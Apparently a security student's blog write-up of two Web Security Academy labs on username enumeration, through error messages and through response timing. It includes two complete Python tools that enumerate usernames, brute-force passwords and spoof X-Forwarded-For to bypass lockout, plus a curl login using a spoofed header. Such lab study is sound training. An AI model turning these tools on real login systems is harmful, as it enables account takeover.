Skip to main content
  1. Research & Techical Notes/

Authentication Vulnerabilities (password-based)

·1615 words·8 mins
Nguyen Hoang Thanh Phong
Author
Nguyen Hoang Thanh Phong
Senior Information Assurance student at FPT University. Focused on Web vulnerability exploitation, AWS Security Architecture, and building automated penetration tooling
Web Security Iaw301 - This article is part of a series.
Part 3: This Article

Prerequisites / Theoretical Background
#

  • Username enumeration is a technique where an attacker observes the responses from a web application (typically during the login or registration process) to identify valid user accounts. This significantly reduces the time required for subsequent password brute-force attacks. Attackers detect valid accounts by identifying three primary response anomalies: differences in HTTP status codes compared to the majority of failed attempts, subtle textual variations in error messages, and prolonged response times from the server (occurring because the system must perform additional validation steps for valid usernames, a discrepancy that becomes particularly evident when intentionally inputting an exceptionally long password).

1. Username enumeration via different responses
#

  1. Access the lab’s homepage: https://[LAB-ID].web-security-academy.net
Homepage
  1. Navigate to the /login endpoint and input arbitrary credentials (username:password) to observe the application’s response.
Examine response interface
  1. The application solely returns an Invalid username message. However, to verify the hypothesis that “the application validates the username before verifying the password,” a brute-force approach will be employed to empirically test this logic. Burp Suite will be utilized for this verification process.
Invalid password
Invalid username
  1. The aforementioned hypothesis is confirmed. The next step is to enumerate the correct password.
302 Found
  1. The identified valid credentials are: ansible:hockey
Success
  1. Due to the rate limitations of the Burp Suite Community Edition, a custom automated tool was developed to execute the aforementioned operations efficiently:
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
import os
import sys
import asyncio
from urllib.parse import urljoin
from curl_cffi.requests import AsyncSession
from bs4 import BeautifulSoup

file_user = os.path.join(os.path.dirname(os.path.abspath(__file__)), "username_candidate.txt")
file_pass = os.path.join(os.path.dirname(os.path.abspath(__file__)), "password_candidate.txt")

test_username = "Test_Username"
test_password = "Test@p455w0rd"

class BruteForce:
    def __init__(self, usernames: list[str], passwords: list[str], concurrency: int):
        self.usernames = usernames
        self.passwords = passwords
        self.semaphore = asyncio.Semaphore(concurrency)
        self.valid_usernames = []
    
    async def get_base_warning(self, session: AsyncSession):
        try:
            payload = {
                'username': test_username,
                'password': test_password
            }
            csrf_token = await self._get_csrf_token(session)
            if csrf_token: payload['csrf'] = csrf_token
            resp = await session.post(url=login_url, data=payload)
            if resp.status_code != 200:
                raise ConnectionError()
            soup = BeautifulSoup(resp.text, 'html.parser')
            warn_msg = soup.find("p", class_='is-warning').text
            if warn_msg is None:
                raise ValueError()
            self.base_warning = warn_msg
            return True
        except Exception as e:
            return False

    async def _get_csrf_token(self, session: AsyncSession):
        try:
            resp = await session.get(url=login_url)
            soup = BeautifulSoup(resp.text, 'html.parser')
            csrf_input = soup.find('input', {'name':'csrf'})
            if not csrf_input:
                raise Exception("CSRF not found!!!")
            else:
                return csrf_input.get('value')
        except Exception as e:
            return None

    async def _check_username(self, session: AsyncSession, username: str):
        async with self.semaphore:
            try:
                payload = {
                    'username': username,
                    'password': test_password
                }
                csrf_token = await self._get_csrf_token(session)
                if csrf_token: payload['csrf'] = csrf_token
                resp = await session.post(url=login_url, data=payload, allow_redirects=False)
                soup = BeautifulSoup(resp.text, 'html.parser')
                warn_msg = soup.find("p", class_='is-warning').text
                if warn_msg != self.base_warning:
                    print (f"[+] Found {username}")
                    self.valid_usernames.append(username)
                else:
                    print(f"[*] Scanning {username}")
            except Exception:
                pass

    async def _crack_password(self, session: AsyncSession, username: str, password: str):
        async with self.semaphore:
            try:
                payload = {
                    'username': username,
                    'password': password
                }
                csrf_token = await self._get_csrf_token(session)
                if csrf_token: payload['csrf'] = csrf_token
                resp = await session.post(url=login_url, data=payload, allow_redirects=False)
                if resp.status_code == 302:
                    print (f"LOGIN SUCCESS: {username} : {password} ")
            except Exception:
                pass

    async def run(self):
        print ("=== STARTING BRUTE FORCE ===")
        async with AsyncSession(impersonate="chrome142", timeout=10) as session:
            success = await self.get_base_warning(session)
            if not success: return
            print(f"\n--- User Enumeration: {len(self.usernames)} users ---")
            await asyncio.gather(*[self._check_username(session, u.strip()) for u in self.usernames])
            if not self.valid_usernames: return
            print(f"\n--- Password Cracking {len(self.valid_usernames)} valid username; {len(self.passwords)} passwords ---")
            tasks = []
            for user in self.valid_usernames:
                for pwd in self.passwords:
                    tasks.append(self._crack_password(session, user, pwd.strip()))
            await asyncio.gather(*tasks)

if __name__ == "__main__":
    base_url = input("Enter your lab's base url: ")
    login_url = urljoin(base_url, "/login")

    if sys.platform == "win32": asyncio.set_event_loop_policy(asyncio.WindowsSelectorEventLoopPolicy())

    usernames = open(file_user, "r").read().splitlines()
    passwords = open(file_pass, "r").read().splitlines()

    bot = BruteForce(usernames, passwords, 20)
    asyncio.run(bot.run())

Kết quả chạy code
Kết quả chạy code

2. Username enumeration via response timing
#

  1. Access the lab’s homepage: https://[LAB-ID].web-security-academy.net
Homepage
  1. Input an arbitrary Username:Password combination to evaluate the application’s response behavior.
Test web response
  1. Utilize Burp Suite to perform a brute-force attack and observe any anomalous patterns within the server responses.
Test intruder
  1. The application implements an anti-brute-force mechanism: restricting failed login attempts to a maximum of three. The critical question arises: “What parameter does this mechanism use to track failed attempts? Is it a temporary session, IP address, or device fingerprint? If it relies on IP addresses, is the validation performed at the HTTP layer or the Network layer?” The objective is to identify the specific target of this protective mechanism. The initial test involves loading the web page in an alternative browser and substituting the current cookie with the newly generated one.
Test session
  1. The observation indicates that the lockout mechanism is not session-based. The next step is to ascertain whether IP spoofing at the HTTP layer can bypass this defense. The X-Forwarded-For header will be utilized for this verification.
Test IP Forwarded
  1. This confirms that the anti-brute-force mechanism can be circumvented via the X-Forwarded-For header. Consequently, the username enumeration process must incorporate dynamic HTTP-layer IP spoofing. Because the generic warning Invalid username or password prevents direct identification of valid usernames, an additional brute-force sweep will be conducted to analyze any differential response characteristics (such as timing).
Intruder
  1. Analysis suggests the user alerts is a highly probable candidate. A targeted password brute-force attack will now be executed to confirm this:
Correct password found
  1. Attempting to log in with the newly discovered credentials: alerts:austin. Due to the local IP being blocked during the prior enumeration phase, the following curl command will be utilized to dispatch the authentication request:
1
curl -H "X-Forwarded-For: 10.10.10.1" -H "application/x-www-form-urlencoded" -X POST -d "username=alerts&password=austin" https://[LAB-ID].web-security-academy.net/login
Thành công
  1. Given the low performance and high potential for network jitter in the Burp Suite Community Edition, an automated Python script was developed to extract the credentials. This tool implements the exact logic outlined above: “Generate random CIDR addresses, identify usernames that yield a response time exceeding 350ms, append them to a target list, and finally brute-force to find the valid username:password pair (indicated by an HTTP 302 Status Code).”
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
  import os
  import re
  import time
  import random
  import ipaddress
  import asyncio
  from AutoConcurrencyScaler import AutoConcurrencyScaler
  from curl_cffi.requests import AsyncSession
  from urllib.parse import urljoin
  from bs4 import BeautifulSoup

  file_user = os.path.join(os.path.abspath(os.path.dirname(__file__)), "username_candidate.txt")
  file_pass = os.path.join(os.path.abspath(os.path.dirname(__file__)), "password_candidate.txt")

  test_username = "Test_Username"
  test_password = "Test@P455w0rd".ljust(64,"a")

  class BruteForce:
      def __init__(self, usernames: list[str], passwords: list[str]):
          self.usernames = usernames
          self.passwords = passwords
          self.scaler = AutoConcurrencyScaler(min_threads=5, max_threads=50, latency=2.0)
          self.queue = asyncio.Queue()
          self.active_tasks = 0
          self.lock = asyncio.Lock()
          self.valid_usernames = []
          self.pwned_creds = []
      
      def random_IP(self):
          target_network = [
              "192.168.1.0/24",
              "192.168.0.1/24",
              "14.160.0.0/11",
              "113.160.0.0/11",
              "118.68.0.0/14",
              "10.0.0.0/8",
              "172.0.0.0/16"
          ]
          cidr = random.choice(target_network)
          try:
              network = ipaddress.ip_network(cidr, strict=False)
              start = int(network.network_address) + 1
              end = int(network.broadcast_address) - 1
              if start > end:
                  return str(network.network_address)
              rand = random.randint(start, end)
              return str(ipaddress.IPv4Address(rand))
          except ValueError:
              return "127.0.0.1"

      async def _get_csrf_token(self, session:AsyncSession):
          try:
              resp = await session.get(url=login_url)
              match = re.search(r'name=["\']csrf["\']\s+value=["\'](.*?)["\']', resp.text)
              if match:
                  return match.group(1)
              raise Exception()
          except Exception:
              return None
      
      async def _check_username(self, session: AsyncSession, username:str):
          payload = {
              'username': username,
              'password': test_password
          }
          csrf_token = await self._get_csrf_token(session)
          if csrf_token: payload['csrf'] = csrf_token
          resp = await session.post(login_url, data=payload, headers={"X-Forwarded-For":self.random_IP()})
          if resp.elapsed.total_seconds()*1000 > 350:
              print (f"[+] Found User: {username} ({resp.elapsed.total_seconds()*1000} ms)")
              self.valid_usernames.append(username)
              print (f"[*] There is {len(self.passwords)} possible passwords")
              for pwd in self.passwords:
                  self.queue.put_nowait( ('CRACK_PASS', username, pwd))
              return resp.status_code
          return resp.status_code


      async def _crack_password(self, session: AsyncSession, username:str, password:str):
          payload = {
              'username': username,
              'password': password
          }
          csrf_token = await self._get_csrf_token(session)
          if csrf_token: payload['csrf'] = csrf_token
          resp = await session.post(login_url, data=payload, headers={"X-Forwarded-For": self.random_IP()}, allow_redirects=False)
          if resp.status_code == 302:
              self.pwned_creds.append((username, password))
          return resp.status_code
      
      async def _worker_wrapped(self, session: AsyncSession, task_data):
          task_type = task_data[0]
          status_code = 0
          start_t = time.time()
          try:
              if task_type == 'CHECK_USER':
                  username = task_data[1]
                  status_code = await self._check_username(session, username)
              elif task_type == 'CRACK_PASS':
                  _, username, password = task_data
                  status_code = await self._crack_password(session, username, password)
          except Exception as e:
              status_code = 0
          finally:
              latency = time.time() - start_t
              self.scaler.update_result(status_code, latency)
              async with self.lock:
                  self.active_tasks -= 1
      
      async def run(self):
          print (f"[*] Loading {len(self.usernames)} usernames...")
          for u in self.usernames:
              self.queue.put_nowait(('CHECK_USER', u))
          print (f"=== STARTING BRUTE FORCE ===")
          async with AsyncSession(impersonate="chrome142") as session:
              while not self.queue.empty() or self.active_tasks > 0:
                  current_limit = self.scaler.limit
                  async with self.lock:
                      can_spawn = self.active_tasks < current_limit
                  if can_spawn and not self.queue.empty():
                      task_data = self.queue.get_nowait()
                      async with self.lock:
                          self.active_tasks += 1
                      asyncio.create_task(self._worker_wrapped(session, task_data))
                      task_type_str = "Usr" if task_data[0] == "CHECK_USER" else "Pwd"
                      print (f"\r[Speed: {self.active_tasks}/{current_limit}] Queue: {self.queue.qsize()} | Next: {task_type_str} ", end="")
                  else:
                      await asyncio.sleep(0.05)
          print("\n\n[Done] Username::Password:")
          for pwned in self.pwned_creds:
              print(f"{pwned[0]}::{pwned[1]}")

  if __name__ == "__main__":
      base_url = input("Enter your lab's base url: ")
      login_url = urljoin(base_url, "/login")
      # if sys.platform == "win32": asyncio.set_event_loop_policy(asyncio.WindowsSelectorEventLoopPolicy())
      usernames = open(file_user, "r").read().splitlines()
      passwords = open(file_pass, "r").read().splitlines()
      bot = BruteForce(usernames, passwords)
      asyncio.run(bot.run())
Tool Result
Web Security Iaw301 - This article is part of a series.
Part 3: This Article